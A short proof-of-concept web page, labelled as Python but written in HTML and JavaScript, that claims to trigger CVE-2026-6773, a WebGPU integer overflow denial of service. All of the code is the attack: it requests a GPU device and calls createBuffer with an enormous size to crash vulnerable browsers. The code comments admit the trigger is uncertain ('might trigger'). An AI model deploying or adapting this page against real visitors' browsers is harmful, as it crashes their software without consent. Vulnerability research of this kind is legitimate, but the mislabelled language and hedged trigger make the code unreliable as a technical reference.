The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-6773: WebGPU Integer Overflow Denial of Service
This code attempts to trigger an integer overflow in the WebGPU component.
Note: Actual exploitation requires specific browser versions vulnerable to the overflow.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-6773 PoC</title>
</head>
<body>
<h1>Testing WebGPU Integer Overflow</h1>
<script>
async function triggerVulnerability() {
// Check if WebGPU is supported
if (!navigator.gpu) {
console.log("WebGPU is not supported on this browser.");
return;
}
try {
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
console.log("Attempting to trigger integer overflow...");
// Attempt to create a buffer with a size calculated to trigger overflow
// Using a large value that might cause internal arithmetic overflow
const largeSize = 0x7FFFFFFFFFFFFF;
// This specific usage flag combination and size might trigger the vulnerable path
const bufferDescriptor = {
size: largeSize,
usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_DST,
mappedAtCreation: false
};
// The createBuffer call may lead to a crash due to overflow in size handling
const buffer = device.createBuffer(bufferDescriptor);
console.log("Buffer created successfully (Vulnerability likely not triggered or patched).");
} catch (error) {
console.error("An error occurred (may be expected behavior):", error);
}
}
// Execute the test
triggerVulnerability();
</script>
</body>
</html>